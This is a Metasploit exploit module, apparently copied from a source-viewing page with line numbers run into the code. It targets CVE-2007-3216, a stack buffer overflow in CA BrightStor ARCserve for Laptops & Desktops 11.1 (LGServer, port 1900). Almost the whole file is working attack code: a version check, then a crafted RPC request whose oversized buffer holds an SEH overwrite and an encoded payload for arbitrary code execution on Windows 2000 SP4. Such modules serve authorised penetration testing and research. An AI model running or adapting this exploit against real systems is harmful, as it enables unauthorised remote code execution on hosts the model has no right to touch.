Path: blob/master/modules/exploits/windows/brightstor/lgserver_multi.rb
21633 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'CA BrightStor ARCserve for Laptops and Desktops LGServer Multiple Commands Buffer Overflow',16'Description' => %q{17This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup18for Laptops & Desktops 11.1. By sending a specially crafted request to multiple commands,19an attacker could overflow the buffer and execute arbitrary code.20},21'Author' => [ 'MC' ],22'License' => MSF_LICENSE,23'References' => [24[ 'CVE', '2007-3216' ],25[ 'OSVDB', '35329' ],26[ 'BID', '24348' ],27],28'Privileged' => true,29'DefaultOptions' => {30'EXITFUNC' => 'process',31},32'Payload' => {33'Space' => 400,34'BadChars' => "\x00",35'StackAdjustment' => -3500,36},37'Platform' => 'win',38'Targets' => [39[ 'Windows 2000 SP4 English', { 'Ret' => 0x75022ac4 } ],40],41'DisclosureDate' => '2007-06-06',42'DefaultTarget' => 0,43'Notes' => {44'Reliability' => UNKNOWN_RELIABILITY,45'Stability' => UNKNOWN_STABILITY,46'SideEffects' => UNKNOWN_SIDE_EFFECTS47}48)49)5051register_options([ Opt::RPORT(1900) ])52end5354def check55connect5657sock.put("0000000019rxrGetServerVersion")58ver = sock.get_once5960disconnect6162if (ver and ver =~ /11\.1\.742/)63return Exploit::CheckCode::Appears64end6566return Exploit::CheckCode::Safe67end6869def exploit70connect7172rpc_commands = [73"rxsAddNewUser",74"rxsSetUserInfo",75"rxsRenameUser",76"rxsExportData",77"rxcReadSaveSetProfile",78"rxcInitSaveSetProfile",79"rxcAddSaveSetNextAppList",80"rxcAddSaveSetNextFilesPathList"81]8283rpc_command = rpc_commands[rand(rpc_commands.length)]8485data = rand_text_alpha_upper(62768)8687data[58468, 8] = generate_seh_record(target.ret)88data[58476, payload.encoded.length] = payload.encoded8990sploit = "0000062768" # Command Length Field91sploit << rpc_command # RPC Command92sploit << "~~" # Constant Argument Delimiter93sploit << data9495print_status("Trying target #{target.name} with command '#{rpc_command}'...")96sock.put(sploit)9798handler99disconnect100end101end102103104